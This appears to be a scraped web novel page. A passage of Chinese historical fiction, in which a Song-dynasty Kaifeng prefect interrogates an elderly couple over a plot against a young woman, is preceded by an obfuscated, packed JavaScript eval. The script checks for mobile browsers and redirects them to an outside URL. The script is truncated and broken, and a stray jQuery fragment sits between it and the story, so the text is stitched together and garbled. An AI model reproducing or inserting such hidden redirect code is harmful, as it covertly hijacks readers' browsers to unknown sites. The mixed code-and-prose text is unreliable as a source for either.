;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553644|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这几个差役能解决得了，有一名算得上和许苏苏交情不错的老差役走上前来，“此事干系甚大，咱们也不好就拿了这老东西一人走，还请两位禁中的兄弟和这许娘子跟着我们走一遭罢了。” 许苏苏满不在意，但钱希祎手脚冰凉，他张大嘴巴，似乎是想说些什么，触及到许苏苏目光时却仿佛被烫过一样，收回来。 “苏苏，对不起。” 钱希祎叫住一个围观的青壮，“还请大哥帮我。” 在这人耳边耳语几句，钱希祎方才跟上差役们押送张家老夫妻的队列，走到许苏苏身边。 “此事，怎么会叫我摊上此事？” “满京城谁不知道，官家很是看好钱王家的长孙，要着重培养，更别提那许氏身上还有一块官家所赠的玉佩呢！” 开封府尹宋偓双目无神，“此事，你须得如此，如此。” 先让人在外面等候，请来刑名老手下狠手审讯张大茂的同时，暗中吩咐心腹，将案件情况梳理清楚，派两个脚快的人呈送到中书门下一份、官家案头一份、钱王那里一份。 整顿清楚，宋偓才叫人升堂理事。 “那许家娘子，你可有与钱家公子往来？” 许苏苏面无异色，“有。” “可有什么逾矩之处？” “并无。” “那本官要你验身，你可敢验？” 许苏苏丝毫没有受辱之意，“自是敢的。” 没成想她如此配合，宋偓对按下此事的把握更多了几分，看来这许娘子当真是问心无愧，心下有了几分计较，更有了几分依凭，于是说道。 “带许氏到后堂，请咱们找来的嬷嬷验身。” 许苏苏走了，此时宋偓才叫人将打成一团烂泥的张大茂抬上来。 “张家夫妇，可认得这是谁？” 张家老夫妇自是哭着上前去，一个叫我的儿，一个叫毛儿毛儿。 宋偓瞧着他们叙情结束，便使着师爷将张大茂供述的供状一字一字念了，等到张家老夫妇脸上血色尽失，才慢慢说道。 “你们年老，应当轻判，你儿年青，定当重判，若是指认谁人指使，我还能给你们的儿留一个体面，否则牵连家人，香火都没有了，岂不是惨事。” 俗话说，县官不如现管，更遑论开封府尹这样的高官。 乍然惊吓，这对老夫妇自然将该说的，不该说的全都说出来。 “是厢主家的小姐指使我们这么干的啊！” 宋偓无语，厢主家的小姐，干涉到官家心尖上的钱家，就是国公家的小姐也得脱层皮！ “哪个厢军的厢主？” “这，这。” 损坏女子名节，此事恶毒非常，尤其是当下，几乎是叫人去死了，能做出这样事儿的人家，宋偓也不介意让那位厢军军主到公堂上丢丢人。 “是，壮城军。” 宋偓想了想，更是无奈，“原来是他家，我算是知道了。” “来人，先将这两个人的供状写好，再给我拖出去打几板子。” “别给人打死了，待会儿我还得用呢。” “去，去军中面见那位壮城军的厢都指挥使，将此事原委告知，请人来我公堂上说话。”